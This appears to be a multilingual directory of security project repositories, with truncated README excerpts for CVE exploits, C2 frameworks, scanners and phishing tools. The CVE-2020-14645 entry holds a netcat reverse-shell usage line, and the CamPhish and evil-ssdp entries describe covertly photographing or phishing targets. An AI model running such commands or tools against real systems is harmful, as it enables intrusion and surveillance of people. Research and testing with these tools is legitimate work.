CVE-2019-3980

CVE-2019-3980 이 저장소는 사용자 지정 C 실행 파일과 함께 Nessus POC를 활용하여 원격 호스트에서 명령을 실행하고 해당 명령의 출력을 가져오기 위해 만들어졌습니다. python 파일은 웹 서버를 시작하고, 익스플로잇을 실행한 다음, 웹 서버를 통해 결과를 가져오는 데 사용됩니다. C exe는 익스플로잇을 통해 대상에 업로드됩니다. 대상에서 실행되면 exe는 지정된 IP/포트로 콜백하여 실행할 명령을 가져옵니다경로는 /cmd. 명령이 완료되면 exe는 출력을 동일한 웹 서버로 보냅니다. 출력 전송은 404를...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2 est un framework d’administration à distance et de C2 chiffré conçu exclusivement pour un usage éducatif, la recherche en sécurité et les environnements de laboratoire contrôlés. Le projet montre comment construire un serveur de commande et de contrôle...

h3-cli

NodeZero MCP Server Теперь доступен NodeZero MCP Server, позволяющий запускать и управлять локально размещённым MCP-сервером, который привносит возможности Find, Fix, Verify FFV от NodeZero непосредственно в ваши рабочие процессы разработки и безопасности. MCP Readme h3-cli: CLI-инструмент для...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP pour Python （complète en une étape） Useage: Python3 exploit.py -t -c astuce : pas d'écho Exemple： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' ensuite vous obtiendrez un shell...

TLS-Scanner

TLS-Scanner TLS-Scanner est un outil destiné à aider les pentesters et les chercheurs en sécurité dans l'évaluation des configurations de serveurs et de clients TLS. Veuillez noter : TLS-Scanner est un outil de recherche destiné aux développeurs TLS, pentesters, administrateurs et chercheurs. Il...

CamPhish

CamPhish Capturez des images de la caméra frontale du téléphone de la cible ou de la webcam du PC en envoyant simplement un lien. Qu'est-ce que CamPhish ? CamPhish est une technique pour prendre des clichés de la caméra frontale du téléphone de la cible ou de la webcam du PC. CamPhish héberge un...

CVE-2020-7247-POC

Предисловие Ключевые факты об эксплойте Установка уязвимого сервера Конфигурация Отказ от ответственности за окружение Эксплойт Ручная эксплуатация Скриптовая эксплуатация Предисловие Этот репозиторий должен служить основой для настройки и эксплуатации CVE-2020-7247 в контролируемой и частной...

aioScan_CVE-2020-0796

aioScanCVE-2020-0796 Предисловие На основе публичного POC использование корутин значительно повысило скорость обнаружения, что позволяет специалистам по эксплуатации быстро проводить проверку внутренней сети. Затронутые версии Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for...

evil-ssdp

Overview This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a...

Apache-Authentication-Flaw-Research-CVE-2024-38476-

🛡️ Исследование уязвимости аутентификации Apache CVE-2024-38476 Подготовил: Abanoub Ehab 🛡️ Студенческий клуб телекоммуникаций Huawei - AOU Комплексная техническая исследовательская работа по уязвимости семантической неоднозначности в Apache HTTP Server и её влиянию на обработку ответов бэкенда. 📝...

singularity

Singularity of Origin Recent updates: NEW 2025-11-25 : Chrome release 142 added Local Network Access LNA, which prevents DNS rebinding attack techniques implemented in Singularity. Singularity of Origin's LNA-from-Non-Secure-Contexts branch implements support for Trial for Local Network Access fr...

reconerator

Overview This is a custom .NET assembly which will perform a number of situational awareness activities. There are a number of current featuresets: BASIC - Obtains information from the disk and registry. LDAP - Allows customised AD LDAP queries to be made. RESOLVEHOST - Performs DNS lookup querie...

react2shell-scanner

react2shell-scanner Инструмент командной строки для обнаружения CVE-2025-55182 и CVE-2025-66478 в приложениях Next.js, использующих React Server Components. Технические подробности об уязвимости и методологии обнаружения см. в нашем блоге:...

CVE-2022-27925

Эксплойт удаленного выполнения кода без аутентификации в Zimbra CVE-2022-27925...

regenerator2000

Regenerator 2000 Un désassembleur 6502 moderne et interactif pour les machines 8-bit Commodore. Une version modernisée de Regenerator. 🕹️ Analyse manuelle — Une ILC interface en ligne de commande rapide et centrée sur le clavier pour une exploration pratique : naviguer dans le code, définir les...

imaginaryC2

Imaginary C2 auteur : Felix Weyne site web Twitter Imaginary C2 est un outil Python qui vise à aider dans l'analyse comportementale réseau des logiciels malveillants. Imaginary C2 héberge un serveur HTTP qui capture les requêtes HTTP vers des domaines/IP sélectionnés. De plus, l'outil vise à...

CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell Сценарий тестирования Этот репозиторий содержит скрипт на Python для автоматизации процесса тестирования уязвимости, известной как Text4Shell, обозначенной под CVE id: CVE-2022-42889. О Text4Shell CVE-2022-42889 Text4Shell — это критическая уязвимость, затрагивающая...

http2smugl

http2smugl This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 - HTTP/1.1 conversion by the frontend server. The scheme is as follows: 1. An attacker sends a crafted HTTP/2 request to the target server, which we call frontend. 2. The request is...

ExchangeWeaknessTest

ExchangeWeaknessTest Этот скрипт проверяет уязвимость CVE-2021-26855 на Exchange Server. Пример python3 ExchangeWeaknessTest.py mydomain.com Лицензия Лицензировано под GPL, версия 3...

L3MON

L3MON Продвинутая система управления и мониторинга сети Layer 3 L3MON — это передовая система управления и мониторинга сети, разработанная на NodeJS. Она предоставляет пользователям мощный и интуитивно понятный веб‑интерфейс, позволяющий легко управлять сетью и контролировать её состояние из любо...